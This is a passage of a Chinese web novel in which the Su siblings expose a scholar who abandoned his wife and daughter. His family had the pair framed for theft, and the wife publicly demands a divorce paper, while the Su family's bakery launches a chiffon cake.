说罢,李锐渊又道:“算了,办完公事去苏家。” 太子车驾离开,国子监学生们显然松口气。 特别是在门口送行的几位读书人,擦擦头上的虚汗。 太子殿下果然名不虚传。 虽说比他们年纪小些,可学问见识,远在他们之上。 “还好有你,不然咱们真的要紧张死了。” “中杰兄,你可真厉害,对时务见解颇深。” “朱兄不愧为礼部左侍郎之子,厉害啊。” 众人吹捧时,金彦磊的小厮走过来,客气道:“请问是朱中杰朱少爷吗,我们家少爷有请,问您去不去钓鱼。” 金彦磊三个字一出,其他书生眼睛更亮。 金家可是皇后娘娘身边的红人! 朱中杰同样兴奋,擦擦头上的汗,赶紧跟着小厮往前走。 不过奉国将军家的小儿子不是讨厌这些吗,喊自己作甚。 等他到了亭子,那亭子只有一对长得极好的兄妹在此,很快带他过来的小厮也离开,直接去了游船上。 在他疑惑时,苏茵茵开口了:“哥哥,我这几天听了一个故事。” “什么故事。”苏显道。 “说六年前,苏州有个绣娘,嫁给了一个隐瞒身份的高门少爷,还生了个女儿。” “家里不允,少爷便跟家里断绝关系,谁料时过境迁,他竟然后悔了。” 刚把冷汗擦完的朱中杰,惊得后退几步,一抹额头,瞬间汗如雨下。 “这高门少爷吃不了苦,便抛妻弃子,去外地读书,再也不给家里写信。” “不,不,写了的。”朱中杰立刻道。 苏茵茵只当听不到,继续说:“不仅不写信,还让家人赶走母女两人。” “为了让母女两人闭嘴,甚至不惜诬陷女子偷盗,要把她们关到监牢里。” “就怕耽误了自己的乡试。” 监牢?! 朱中杰震惊万分,快步上前道:“你方才说什么?她们被关到监牢了?!” 苏茵茵冷笑:“你不震惊于她们上京,只震惊他们被关到监牢吗。” 此话一出,苏显忍不住看了眼妹妹。 好聪明的妹妹。 抽丝剥茧找到症结。 是啊,他们夫妻情分六年,当丈夫的,会不知道妻子的脾性,会不知道收不到准确的消息,以妻子的性格便能直接来京城? 不是不知道,是装作不知道。 他还指望自己家族帮忙解决呢。 可他不想想,他对妻女有情分,可家族没有。 把那母女关到监牢,说不定还以为自己手下留情了。 眼前的朱书生。 就是一个见色起意,好逸恶劳,装糊涂的软蛋。 “她们被关到哪了,快告诉我。” “月娘她不可能偷盗,绝对不可能。” 朱中杰焦急万分,女儿才四岁,怎么吃得了那样的苦,月娘脾气倔强,绝不可能偷东西。 必然是他家诬陷。 苏茵茵看了看哥哥,这才道:“西城兵马司巡查司,你去问问便知。” 来不及问兄妹两人的名字,朱中杰拔腿便跑,不能把她们关起来,本就是自己的错,绝对不能。 兵马司是什么地方,她们两个肯定受不住的。 月娘说不定还会被欺负,他必须把两人救出来。 “真是太让人讨厌了。”苏茵茵咬牙,“他是不是还觉得自己很好,是不是觉得自己心肠比家族其他人要软?” 苏显反而松口气,妹妹如此聪明伶俐,他之前担心反而多余:“可能吧,但不管他怎么美化自己,都不能掩饰,他扛不住责任的事实。” 既然不能娶,就不要招惹。 家里不同意便要争取,怎么还无媒苟合了。 到这也没什么,夫妻两个好好过日子即可,便是考不上举人,日子同样能和和美美。 既想要心爱之人,又想家里的锦衣玉食。 哪有那么好的事。 苏家兄妹并不怀疑朱中杰的真心。 但真心之余,还要有责任心。 可惜他有前者,但不多,后者压根不存在。 “朱家下一个接班人是他的话,那这朱家也快完蛋了。” 金彦磊提着鲜鱼上来,听到的就是这句话。 他并不知道周家兄妹喊朱中杰做什么,更是自觉回避,等到那人走了之后他才回来。 听到周妹妹的评价,金彦磊道:“怎么可能,朱家现在如日中天啊。” “朱家门生极多,也因朱中杰成绩极佳,在国子监里十分突出。” “别让人听到了,否则肯定会说你的。” 反正在外人看起来,这朱家前有朱老太爷,现在又有当家的朱侍郎,还后继有人。 多少人等着攀附接亲呢。 苏茵茵挑眉。 是吗。 可惜完美假象很快就要被戳破了。 是朱中杰自己戳破的,跟她可没关系哦。 苏茵茵高兴,把荷包里剩下的点心都塞给金彦磊:“还有两个水果糖,也好吃的,有机会再见。” 她拉着哥哥赶紧走,等着回西城看热闹啊! 那乐子肯定不小的! 朱中杰骑着快马奔向西城,实在不能骑马才用跑的。 西城兵马司。 西城兵马司。 他一定会把人救出来的。 他想过月娘会来京城,但没想过会是这样的场景。 等他乡试高中,一切都会好的。 还能把母女两人都接到家中。 为什么会这样。 他已经很努力了。 那是兵马司,都是一群兵痞,会怎么对月娘她们母女? 西城兵马司一如往常,只有来往的兵卒。 内里气氛却紧张万分。 最近这两天,谁不知道巡查司跟火禁司两位指挥使的矛盾。 一个要把人塞到监牢里。 另一个绝对不准。 其他两司虽然没有参与其中,可都在暗中观察。 多数人都是站苏指挥使,不光因为苏指挥使人好,对兄弟们客气。 更因为都是兵马司的下属部门,凭什么你巡查司高人一等,就因为你们能抓人? 现在有苏指挥使挫挫对方的威风,还是很好的。 最近发生的事,更是巡查司那边不地道,那巡查司梁副使都不好意思看到苏指挥使了。 想当初梁副使女儿的婚事,都是苏指挥使女儿撮合的。 她家女儿的婚事办得漂亮不说,上次乡试,女婿还考上举人。 前两年外派做官还带着他女儿,听说在当地做的很不错。 这样好的婚事,这样好的女婿,不是谁都能找到的。 梁副使承了这么大的人情,自家上司不仅故意找麻烦,还传苏指挥使的谣言,说什么他跟那美妇人有染。 那可是苏指挥使,平日下了班直接回家的人,别说秦楼楚馆,便是喝点清酒都要去干干净净的地方。 怪不得梁副使最近抬不起头。 有这种上司,谁抬得起头。 他们兵马司的人不信,外面却已经谣言四起。 听说苏娘子的慧女点心门前,一直有人在瞧热闹。 “兄弟们路过的时候,都帮帮忙,别让人乱嚼舌根。” “肯定的,前几年我家母亲生病缺粮,还是苏娘子给了米面,我都记着呢。” “我弟弟办婚事时,家里临时缺了点心,都是从她家拿的,事后才给的银钱。” “你们这算什么,我有一同乡,是当年守卫边关的同袍,早些年靠着苏家给的银子才治好伤病,等于捡回一条命。” “别说了,再说下去,有些人又要嫉妒了。” 西城兵马司里,人心向背,已经分明。 也就是巡查司几个指挥使狗腿,一定要找火禁司麻烦。 眼看着又要起冲突,嘴里不干不净的。 “平日就你们苏指挥使是好人,我们这些人都是兵痞对吗?” “怪不得不收那美妇人,就是看上人家了呗。” “原来是这样啊,你早说,早说兄弟们都好做。” “再说一百遍也是这样!你们家指挥使不把那叫柳月的美妇人关起来,就是想关到自己家里吧?!” 朱中杰跑过来的时候,正好听到这句话,惊惧交加,这是什么意思?! 向来知道兵马司都是兵痞。 可听到这话,还是让他肝胆俱裂,竟然冲过来直接打了那人一拳:“你说什么?!” “你在说什么?!” 被打的兵卒反手打回去。 这眼下乌青的弱书生,还敢打他?! 打完之后发现不对劲,对方穿着国子监的衣裳,身上配饰不俗,难免是哪家的公子? 可谁家公子来兵马司找事啊。 双方眼里都闪着怒气,朱中杰被打懵了,更加惶恐:“你们把月娘怎么了?到底把月娘怎么了!” “她在监牢吗!快带我去找她!” 旁边的兵卒意识到什么,立刻追问:“你是她什么人?为何口口声声喊着月娘?” 是他什么人? 朱中杰迟疑,母亲千叮万嘱,不能说是娘子。 倘若承认是娘子,便不好收场。 昨日拿了苏茵茵戚风蛋糕的兵卒跟着接了句:“她可是重罪在身,身边的小姑娘同样难逃刑罚,以后要被关到监牢至少十年。那样漂亮的妇人,真是可惜了。” 重罪,小姑娘,刑罚,漂亮。 几个词叠在一起,朱中杰却大声道:“我认识她,我确定她没有偷盗!月娘不是那样的人!” “你怎么确定?她因为一些银钱,跟了火禁司指挥使做外室,你不知道?!”巡查司兵卒叫嚣着,明显要给苏指挥使扣上屎盆子。 苏指挥使进来的时候,脸都黑了。 旁边巡查司指挥使还在添油加醋:“老苏啊,那女子确实漂亮,用几个银钱就把她收做外室,是不是应该感谢兄弟我啊。” 不等苏指挥使开口,朱中杰愤怒道:“都说了月娘不是那样的人!她一手好绣工!即便一时没有银钱,也绝不会做苟且之事。” “她,她绝对不会对不起我。” 众人看向闹事的书生,苏指挥使反而开口:“你是她相公?” 相公吗。 朱中杰不敢认,但周围人瞪着他,倘若说不是,月娘肯定会落入他们手中! 巡查司指挥使觉得不对劲,可他并不了解内情,只是有人让他把柳月那个妇人关起来而已,所以此刻只能迟疑道:“你如果是她相公,之前怎么不来?你可知她都做了什么。” “没有!她什么都没有做!” “以她的能力,日子会过得很好,根本不需要别人帮忙!” “肯定是你们欺负她!” 还有他家里欺负月娘,这才让她被这些人关起来。 “赶紧把她放了,否则我就告到衙门去!” 众人看着哭哭啼啼的大少爷,忍不住道:“你要是她相公,那就拿出正儿八经的态度出来,洗脱她身上的罪名。” “如若不是,别在这添乱。” “是,我是月娘相公!那个小姑娘是我的亲生女儿!你们要是敢碰她一根手指头,我一定会告到皇上那!”朱中杰咬牙道,他一定要把月娘救出来,并对所谓的指挥使道,“你把她藏到哪了?!” 苏指挥使一脸无语。 藏什么藏啊。 神经病。 苏指挥使道:“你既然知道你娘子为人,何必问我。” 苏指挥使嘟囔几句,现在对方相公来了,他身上的污名终于能洗干净。 这两天慧娘虽然没说什么,可他明显感觉不对劲,每天关了房门就是哄,自己才委屈啊。 正说着,又被带到兵马司询问的柳月出现。 柳月带着女儿,身上干净整洁,不带一丝污痕,明显没有被关到监牢里,也没有被谁藏到家中。 朱中杰长舒一口气,赶紧上前:“你没事就好,你没事就好。有人说你被关到牢房里,我是来救你们的。” 柳月深吸口气,先对苏指挥使道歉,简单道:“原本是要被关的,但苏指挥使要看罪证,我既无罪证,又无认罪书,当然不会被关。” “苏指挥使心善,给了我们母女一些落脚的银钱,这才惹得谣言四起。” 一时间,真相大白。 人家跟苏指挥使没关系,并且有相公。 再造谣下去,人家相公先找你们麻烦。 看对方的身份,若再多说下去,只怕是他们要吃官司。 这场闹剧很快传遍西市。 人人都知道,那美妇人只是京城来寻赶考的夫君,没想到被诬陷偷盗,还好人家相公得知后赶紧来寻。 现在已经把人接走了。 至于那些流言蜚语,都是假的。 人家相公都断定,他们家娘子绝对不是那种人。 慧女点心的苏娘子暗暗松口气。 流言也能伤人,最近乱七八糟的话实在太多了。 就连大伯一家都暗戳戳来问,实在让人心烦意乱,现在终于解决。 回到家的苏家兄妹深藏功与名。 哎,可惜没有现场看到热闹,那场面,一定很有意思。 不过苏茵茵也奇怪,柳月真的被接走了吗。 如果只有朱中杰就罢了,要是落到朱家人手中,那怎么办? 好就好在,朱中杰已经承认柳月是他娘子,想来和离书应该好要了。 苏娘子见此时人多,谣言也散开了,跟女儿商量过后,正式宣布:“明日慧女点心出新品,戚风蛋糕,绝对是整个京城最绵软的点心,欢迎前来购买。” 戚风蛋糕! 他们听说过! 有人还尝过! 听说特别好吃! 慧女点心一时间双喜临门,谣言摆脱了,还有新品上市。 还有两天就要乡试,原本就热闹的北市,因为慧女点心的新点心,人明显更多了。 苏茵茵不用管店面的事,还是想到柳月姑娘,不知道她有没有拿到想要的东西。 此刻的朱家,气氛带了几分阴沉。 朱家老爷从官署回来,便听到今日的事。 世上没有不透风的墙,何况朱中杰在西城兵马司救走一个女子,还说这女子是他娘子。 高门里不少人隐约知道这位公子在苏州的荒唐事,却没想到闹来京城。 若他不出面倒罢了,反而自己找过去,这面子上谁都不好看。 朱家老太爷怒骂朱家如今的主君:“让你出狠手,把她们母女两人直接装车送回苏州,哪还有现在的麻烦。再有两日便要乡试,耽误他考试怎么办。” 朱家主君,也就是礼部左侍郎,本就因为乡试的事忙得焦头烂额,现在又挨了顿骂,但只能恭敬道:“爹,今时不同往日,若让城门司的人发现咱们强绑一对母女,必然会交到衙门。如今衙门不好糊弄,必然会上报朝廷,到时候不止是丢脸的事。” 这也是他暗示手下,以偷盗的名头,把那母女两人关起来的原因。 说到今时不同往日,朱家老太爷脸色难看,却也明白当今圣上不会容忍这种事发生。 “朝廷命官,还怕她一个小小的女子。” “孙儿把她安置在何处?找到地方了吗。” “找到了,就在西城一处别院里。”朱侍郎道,“暂时先稳住他们,一切等科举结束再说。” “只能这么办了。对了,和离书不要想,根本就是无媒苟合,怎么算得上婚嫁,要什么和离书。在苏州官府给出的婚书并非真的,她拿出来也无用。” “顶多是个外室,这样对他们都好。” 他们一定会让家里最会读书的孩子走上正轨。 不管外面怎么说,现在不能乱。 朱中杰正在书房里,心绪却不安的厉害。 一想到月娘母女两人在京城,他便读不进书。 又让他回忆起在苏州那会。 月娘红袖添香,女儿在旁边酣睡。 日子那样平淡温馨。 如果能一直那样就好了。 或许,这样的生活是还能继续。 只是,只是那样的话,会委屈月娘。 可他没有办法,那个办法,已经是最好的选择了,自己也是身不由己,希望月娘不要难过。 朱中杰握紧书,让自己努力读进去。 还有两日乡试,等他考中,一定会跟家里提起的。 此刻的苏家,家里终于恢复往日轻松的气氛。 苏显也拿起书本,他同样要乡试,再不紧张,此刻也要读读书了。 一家子刚吃过饭,天擦黑时,听到门被敲响。 门外的人依旧熟悉,正是原锐来了。 原锐还带了两筐香橼,并道:“听说你们要卖戚风蛋糕了,香橼肯定不能少。” 话是这么说,但也不能一直白拿吧。 李锐渊还拿出一张纸条:“这上面是汴京几家香橼商人的地址,你们可以去这几家看看,还算物美价廉。” 这正送到苏茵茵心坎上,她跟娘亲最近一直在找汴京的香橼卖家。 可惜岭南的香橼离这太远,运过来的柠檬要么不大好,要么太贵,现在有了新的商家,自然更好。 两人几日不见,此刻竟然带了些紧张。 苏茵茵抬头看他,平生头一次朝他行了个礼,迟疑道:“谢谢。” 黑压压的天气掩住李锐渊转瞬即逝的暗光,语气听着平常,只能偶尔听出几分不同:“我们之间,何必言谢。” “对了,听说苏指挥使那出了些事,怎么样了。” 苏茵茵想了下:“已经没事了。” “这样吗,那你呢,最近做了什么。” 放在前些年,苏茵茵肯定一股脑把事情说出来,什么柳月,什么朱中杰,可有的说。 其实现在都有种不吐不快的冲动。 但思虑过后,她还是道:“也没什么,就在家里做做点心。” “没去其他地方,就跟哥哥到处玩玩。” 去了吗。 苏茵茵挠头,跟哥哥去了趟国子监,没什么好讲的吧。 “没有吧,反正没什么事,反正都解决啦。” 李锐渊离开苏家,慢慢朝巷子口走去,眼神带了疑惑不解。 郭展在后面战战兢兢:“殿下,茵茵姑娘肯定不是故意瞒您,想来事情肯定解决了,就没什么可说的了。” 没什么可说的。 李锐渊抿唇,回头看眼苏家院门,怎么可以没什么好说的。 他们之间应该无话不谈才是。 还是说,茵茵讨厌他了? 是这样吗。 第46章 “慧女点心新品,戚风蛋糕!” “限量购买,请有序排队!” 苏娘子再次庆幸,还好今年早早把科举食盒做完送出去,否则再加上戚风蛋糕上市,估计门槛都要被踏破。 店里几个烤炉不停歇的运转,蛋糕香味几乎弥漫了半条街。 不管来西市做什么的,都会过来排队买一块。 虽说蛋糕价格不便宜,但好吃啊,从未有这样甜软的点心。 “每个人只能买四块吗,就不能卖一整个蛋糕吗。” 一个戚风蛋糕切成八块,每人限购四块,其实已经是一半蛋糕了。 苏茵茵赶紧道:“过几日人少一些,就能多买点了,为了让更多客人都吃到,只能限购,不然大家岂不是白白排队。” 道理大家都懂,可半个蛋糕真的不够吃! 没有办法,只好再买点其他点心好了,客人恋恋不舍道:“你们店面真的太小了,应该再加几个炉子的,再加几个帮工的。” 苏家母女点头,她们也想的。 “你家又做出这么好的点心,真厉害啊。” “去年京城十大点心铺就有你们,也是咱们西市唯一入榜的店铺,今年肯定能更进一步。” “不好进吧,那些店铺都是几十年上百年的老店,慧女点心开店时间太短,店铺也太小。” 排队的顾客们闲的无聊,干脆说起去年排名的事。 眼看队伍越来越长,苏茵茵只好去数人头,预估一下还要再做多少蛋糕,如果时间太久,再劝顾客们离开。 虽然大概率他们不会走吧,那也要劝一劝。 苏茵茵踮起脚,认认真真数数,旁边忽然传来一个声音:“周妹妹。” 周妹妹? 谁? 苏茵茵没认为这是在喊她,只是专心数人。 金彦磊见她没反应,走上前道:“周妹妹,你怎么在这啊。” 原来喊的是她。 昨日才见过的金彦磊,今日又见到了。 还真是巧。 “你也是来买蛋糕的吗,我家小厮在排队,他应该要排到了,一会分你一些。”金彦磊大方道,“只分你一块啊。” 排队的老顾客笑:“这位公子,慧女点心就是她家的啊,茵茵才不用排队呢。” 苏茵茵尴尬一笑。 金彦磊看了看招牌,又看了看周妹妹,挠头道:“我怎么记得,这家店是老板姓周,她家相公不是这个姓?” 随即反应过来,昨日周家兄妹用的是化名。 不用他多说,苏茵茵立刻道:“昨日事出有因,实在抱歉。” 说着又从荷包里抓了些奶糖:“抱歉抱歉。” 金彦磊也不是个傻的,再想到国子监里疯传的事,指着苏茵茵道:“朱家?” 朱家那乱子,是因为他们兄妹俩? 今日他刚去国子监,便听说一个瞠目结舌的事情。 国子监最有前途的学生朱中杰竟然早就成亲了。 他亲口承认自己有娘子不说,那娘子还差点被西城兵马司的人给关押起来。 但以朱家的门第,他家娶儿媳竟然悄无声息? 这不可能啊。 问了才知道,那女子只是个普通的绣娘,还给朱中杰生了个女儿,专门从苏州过来找他的。 当然也有人讲。 这哪是娘子,只是个外室罢了。 不管怎么说,这消息都让人吃惊。 朱中杰今日都没来国子监,更坐实了这个消息。 再想想昨日发生的事,那神秘兄妹两个把朱中杰喊过去,事情就不同了,金彦磊自然而然会想到是他们的缘故。 苏茵茵看着周围的人,赶紧把金彦磊拉到一旁,凑近道:“小点声,被朱家知道,我们家就完蛋了。” 这个倒是。 朱家小心眼的很。 金彦磊连忙点头:“放心,我绝对不讲,没人会知道是你们说的。” 反正都这样了,苏茵茵认真道:“若不是这事牵连到我爹爹,我跟哥哥肯定不会那样做。” 都到自家门前了,知道他家情况也是早晚的事,苏茵茵道:“我其实姓苏,叫苏茵茵。昨日瞒你,真是不好意思。” “没事没事,你再跟我讲讲呗,这事怎么那样离奇。” 谁还没个八卦心啊,金彦磊干脆跟苏茵茵在茶摊嗑瓜子吃茶,顺便嘀咕几句这件事。 两人互换消息之后,忍不住感慨一句:“朱家,还真是作孽。” 苏茵茵脸色一变:“不好,他们是想稳住柳月,等事情结束之后,把她纳为外室。” 金彦磊被这么提醒,也道:“你说的对,这才是朱家真实想法。不承认两人成亲,只认是外室。” 可朱中杰的想法? 还有柳月的想法呢。 金彦磊生在高门,此刻委婉道:“也要看柳月的想法,她若真进了朱家的门,不管是什么身份,都比之前要好。” 以她跟朱中杰的情分,再加上还有个女儿,以及生得美貌,不管谁嫁过来,都有她一席之地。 倘若她愿意的话,旁人也不好说什么。 即便一时不同意,日子久了,自然能知道高门跟贫寒人家之间的区别。 退一万步说,即使为了女儿,她留在朱家,都是更好的选择。 苏茵茵想反驳,可又说不出口。 她不能替柳月做决断,更不能说哪里好哪里不好。 见苏妹妹难过,金彦磊安慰:“各人有各人的选择,反正事到如今,你家的脏水至少洗刷掉了。” 话是如实,苏茵茵道:“倘若我是柳月,被这样哄骗的话,我只恨不得对方去死,绝对不可能同意做妾。” 金彦磊默默收回安慰的手。 他还以为苏妹妹难过呢,原来是想对方去死。 真要称一句女中豪杰。 两人说了会话,排队的小厮终于回来了:“少爷,这点心真的太难买了,下次还是让人专门来排队好了。” 金彦磊摇头:“以后不排了!” 说着看向苏茵茵。 苏茵茵无奈道:“好吧,但只能私下给你做,店面的点心还是不要插队的。” 他们也算有共同的秘密,而且柳月的事,也有金少爷的帮忙。 “我特别喜欢吃你们家的点心,但凡出新品,肯定要人来买。”金彦磊肯定不会自己排队,多半是手下过来。 今日也是巧了。 金彦磊闻着戚风蛋糕的味道,吃得腮帮子鼓起来,感叹道:“我能不能再买一些,送到宫中给太子殿下。” 金彦磊还解释了原因。 太子身体原因,对很多食物谢敬不敏,难得有喜欢的东西。 “想来这蛋糕不错,他肯定喜欢。” 苏茵茵指了指长长的队伍:“我若给你开后门,对这些食客多不公平。” 这个倒是。 金彦磊给了小厮一块蛋糕:“继续排。” 小厮眼巴巴看很久了,喜笑颜开:“好的少爷,小的继续排!” 拿到蛋糕的金彦磊匆匆离开,这戚风蛋糕还是热的时候好吃,赶紧给太子殿下送去啊。 刚从勤政殿回来的李锐渊看到金彦磊,下意识皱眉,对方献宝一样送上食盒:“太子表哥,这可是今日汴京西市最火热的点心,你要不要尝尝看。” 郭展下意识接过来,听到西市,又心道不好,闻到味道后更是朝金少爷假笑。 你完了。 殿下本就在主持乡试事宜,没多少时间去找苏姑娘,你倒是好,竟然自己凑过去。 还没问题你昨日跟苏姑娘都说了什么呢。 金彦磊一无所察,甚至还拿出两粒奶糖自己吃得开心:“那点心铺的小姑娘可真有意思,小小年纪竟然那样聪明,厉害啊。” “而且还说,若有人像欺骗柳月一样骗她,她必恨不得对方去死,这般个性,可真有意思。” 李锐渊脸色一变,终于开口:“蛋糕留下,你走。” 为什么! 金彦磊还想说话,却又听太子道:“柳月跟朱中杰的事,是她告诉你的?” “对啊,反正这事也不是秘密了。” 李锐渊沉默片刻,再次赶人。 这是怎么了啊! 太子表哥好像生气了? 不懂,不理解。 殊不知郭公公头发都要掉光了,一直在帮他想理由:“必然因为金少爷帮忙喊了朱中杰,这才能让他去救人。” 所以告诉金少爷,没有告诉您。 “肯定是最近您太忙了,等乡试结束,想来您跟苏姑娘关系还能恢复从前。” 李锐渊直言:“不会了。” 不会?! 为什么! 郭公公第一个不同意! 李锐渊微垂着眼,又对郭展道:“金彦磊应该还没出宫门,让他回来。” “把蛋糕送到母后宫中,再以母后的名义订些点心,充当乡试贡院考官们的吃食之一。” 郭展惊愕道:“让苏姑娘跟宫里有接触?” “以她的聪明,岂不是?” 岂不是很快会发现不对劲! 政务上一向果决的李锐渊此刻罕见有少年的神情,最后道:“要让她发现。” 否则接下来,她肯定会用自己的方法远离自己。 倘若再发现不了这点,他这太子也不用当了。 虽然还不知道为什么,但事情要做。 此刻的慧女点心门前,还是排着长队。 谁让她家新品真的太好吃了! 排队也愿意啊! 苏茵茵送走金彦磊,便继续在店里帮忙,直到又听说柳月的消息。 对比之前的流言来说,这次才闹了个大的。 自从昨天下午,柳月被朱中杰带走之后,母女两人便进了朱家在西城的宅子。 这宅子虽是别院,却比他们在苏州的家大许多倍,也比柳月自己家大许多。 朱中杰把母女两人安置好后,原本是想说些什么的,柳月却直接开口:“我只要和离书。” 朱中杰慌了,反问道:“我不相信你千里迢迢来京城,就是为了要和离书。” 此话也没错。 来的时候,柳月确实有过幻想,以为两人能重归旧好。 可这些日子,她算是看明白了,自从朱中杰第一次回家族,他们之间便渐行渐远。 现下突然被问住,柳月只能深吸口气。 朱中杰那边连忙道:“你们先安心住下,这处宅子的地契都在这了,还有仆从七八个,全都听你差遣。” “就算你不住,珠珠总要有个安稳地方吧,想来那客栈人来人往,也不安全。” 到底六年夫妻情分,柳月又抱着女儿,还是住了下来。 可她心里迷茫,夜晚哄睡女儿,便再也睡不着。 偌大的宅院黑压压的,原本应该觉得恐慌。 但这里被人布置的十分舒适,一切都是可以安稳躺下的错觉。 柳月刚熄灯要睡,便听外面有人在说话,等她悄悄过去,便听到值夜的丫鬟们在说话。 她们压低了声音,叹气道:“可怜这母女两个了。” “见那月娘人不错,却也不好多说。” “人好就成,以后咱们就在这伺候月娘子,虽说是个外室,却也是少爷心尖上的人,以后少不了好处。” 两个丫鬟感叹着月娘子的命运,同时也庆幸主子人好。 可听到这话的柳月满脸恐慌。 外室? 朱中杰要让她当外室?! 屋内动静惊动院里的丫鬟,两人还以为月娘子睡了呢,知道闯祸,连连磕头。 磕头求饶过后,又哭着劝道:“月娘子,小的们知道,您是清白人家,可形势比人强,朱家还算厚道,您又跟少爷有情谊在,便是做了外室也跟之前一样。” “是啊,不为您想,也要为小小姐着想。” “求您不要声张,否则我们就完了。” “朱家绝对不会短了您的吃穿,以后绫罗绸缎享受不尽,我们也会忠心于您,做这宅院里的忠仆。” 两个小丫鬟哭着恳求,把分析利弊说的很明白。 她们是真的怕了,也是真的为自己现在的主子考虑。 屋子里的女儿被吓醒,也开始大哭,一边哭一边说,她想爹爹,想回家。 柳月一夜未睡。 好像所有人都在劝她,就这样吧,反正以后的日子会比之前好过,她不用辛苦做绣娘,不用辛苦养孩子。 这宅院,这奴仆都是她的。 她还在地契的盒子里看到这几个丫鬟仆人的卖身契,虽然朱中杰没说,却证明这些人都归她了。 只要留下来,只要不闹了,不要什么和离书,不承认之前两人成亲。 一切的一切,似乎都会走向“正轨”。 她有安稳的生活,女儿有明确的身份。 便是以后不跟朱中杰在一起,凭借地契卖身契,她甚至换成银钱,回苏州开一家自己的绣坊。 来京城的路上,柳月信念坚定。 被人陷害偷盗,她可以据理力争。 甚至差点被关到监牢,她都能证明自己不该被关。 可现在,柳月才发现。 那些事情才不是最大的阻碍。 现下的宅院,柔软的床铺,一心效忠的忠仆,才是她此行最大的难关。 是要和离书。 还是要这些东西。 鸡鸣天晓,看着泛白的天光,柳月意识到一个问题。 今日,明日,是最后的期限。 等到朱中杰进考场,她便再也没有选择的机会。 到底要什么。 柳月这才发现,此处宅院太过空旷了。 她们母女两人,跟身处监牢有什么区别。 上午她才睡了片刻,下午见众人放松警惕,抱着孩子出门。 苏茵茵听到消息时,下意识追问:“然后呢。” “然后她就去国子监了!” “当众问朱秀才要和离书!” 马上要乡试的国子监学子们瞬间傻眼,再联想到上午的传言。 都是真的啊! 朱中杰看着老实得很,背地里竟然做这种事?! 这些世家子弟听完之后,下意识道:“直接给处宅院,就是做外室啊,倒是阴毒。” 没错,是阴毒。 是用糖衣裹着的砒霜。 其他人看不出这些伎俩,他们同阶级的,几乎一眼看穿。 给什么宅院,仆人又有什么用。 说的再天花乱坠,就是个外室,以后日子如何,全靠朱中杰的良心。 可这些糖衣砒霜,确实会让不少人上钩。 毕竟宅子是真的宅子,仆从也是真的仆从。 无非是糊弄对方,直到乡试结束。 等朱中杰有了官身,两人身份便再也不同。 朱家等的就是这个。 可惜他们低估了一个普通绣娘的自尊自爱之心。 她不要宅院不要银钱不要仆从。 只要一封和离书,要把前尘往事斩断。 她之前只是选错人了,并非做了错事。 “朱中杰,六年夫妻之情,你不能否认,更不能躲开。” “今日我来,只问你要和离书,请你写下吧。” 柳月甚至准备好笔墨纸砚,她被女儿紧紧抱着,两人是互相的依靠。 “写下后,我立刻回苏州,我做我的绣娘,你考你的举人,以后死生不复相见。” 国子监门前瞬间围了无数人,便是夫子都忍不住感叹一句忠烈女子,再看向朱中杰时,只觉得他胆小懦弱,还不如一个女子有魄力。 现在别说普通学子,便是马上要科举的学生都忍不住来看,何况金彦磊。 金彦磊也没忘了苏茵茵,事情刚发生,便让人去找慧女点心,让她来瞧热闹。 看他这一天忙的。 上午排队买戚风蛋糕,中午给太子皇后送吃食,下午准备读一会书,就看到这热闹。 苏茵茵过去的时候,正好看到柳月拿出笔墨,让朱中杰当场写和离书。 眼看她被一群男子围住,苏茵茵连忙挤进去,此刻顾不得什么,只站在她身边。 柳月见苏家妹妹来了,朝她笑笑,她感受的到,这是苏妹妹在支持她。 那金彦磊见此,干脆也站在苏茵茵身边,低声道:“没想到她不要那些东西,我以为这女子愿意当外室呢。” 苏茵茵并未回答,金彦磊又道:“我倒是敬佩她了。” 说句不好听的,高门大户的外室妾室没那么好当,要让一些人知道这事,估计还会为月娘痛惜。 多好的机会啊,怎么就不抓住呢。 苏茵茵却看得眼睛发亮。 她也敬佩柳月姐。 若今日低头,以后便有低不完的头。 或许有人说她不识时务,可人生在世,只为金银地位活着的话,那还有什么意思。 眼看朱中杰犹豫不决,苏茵茵干脆道:“你这人可真有意思,当初不敢跟家族抗争,只敢偷偷成亲。” “如今不敢面对自己做过的事,还要让妻儿追过来要和离书。” “人都说自古忠孝难两全,又说仁义最难得。你背离家族,跟家族不容之人成亲,一对不起家族名声,此为不忠;二不顾爹娘反对,强行娶妻生子,是对不起父母高堂为不孝;三成亲后担不起小家的责任,也对不起结发妻子为不义;四不肯承认过往,宁愿让女儿做私生女,更是不仁。” “不忠不孝,不仁不义,这便是你这些年读书的成果吗。” 终于把想说的话说完了! 这些话憋在她心里真的好久了! “说得好!”金彦磊第一个鼓掌,“说得太好了!” 奉国将军家的儿子起哄,其他人终于没忍住,开口指责道:“是啊,你就写封和离书,让人家离开吧。” “好好的清白女子,跟你吃苦受罪,还做绣活供你读书,你呢?你拍拍屁股回家了,算怎么回事。” “赶紧写吧,别愣着了。” 也有想帮朱中杰说话的好友,可方才那小丫鬟不忠不孝不仁不义讲出来,谁若偏帮,岂不是跟朱中杰一样。 众人压力下,朱家来人还是晚了一步。 朱家人看着柳月手中的和离书,当下便知,一切都完了。 当着这么多人的面,他们更不能矢口否认,否则丢的不只是朱中杰一个人的脸。 朱中杰痛哭流涕,原本就软弱的他,此刻更是不知道说什么好,只能掩面哭泣。 拿到想要的东西,柳月深吸口气。 六年的时光虽然错付,可她知道,自己还能回头。 以前可以养女儿养相公,以后还可以养自己。 她要准备回苏州了。 苏茵茵看着朱家人,下意识往前,那朱家人却对柳月客气道:“嫂子来了京城,怎么不讲一声,也好合家迎接才是。” 嫂子? 苏茵茵傻眼,柳月同样愣住。 眼前这人是朱中杰堂弟,他喊嫂子? 苏茵茵随即反应过来。 有朱中杰的和离书,便证明柳月的身份,不管是否和离,都是朱家不得不承认的儿媳。 那这堂弟当众喊嫂子,肯定是应下这门亲事。 不管这件事他们有多难堪,都要咬牙认下,否则面子上更过不去。 柳月犹豫片刻,一时不知道怎么回答,对方道:“虽说已经和离,却也斩不断亲缘。” 说着,看向柳月怀中的女儿。 认下嫂子,就要认下侄女。 怪不得朱家拦着,不让写下和离书。 苏茵茵知道里面的复杂,却没想到复杂到这种地步。 即便是身处其中的柳月也没料到。 她只是想拿到和离书就回苏州的啊。 国子监的学生们虽说出身高门,但这种弯弯绕绕,还是反应了许久。 这,这柳月姑娘破釜沉舟,不要荣华富贵,只要和离书。 不仅给自己挣到尊严,甚至还挣到体面。 若她真的吃下糖衣砒霜,等着她的身份便是妾室,是侧室,是见不得光的人。 一辈子便是如此。 可她愿意抛弃一切,直接拒绝那些金银富贵,要一个尊严,要一个结果。 给她带来的,则是堂堂正正的身份。 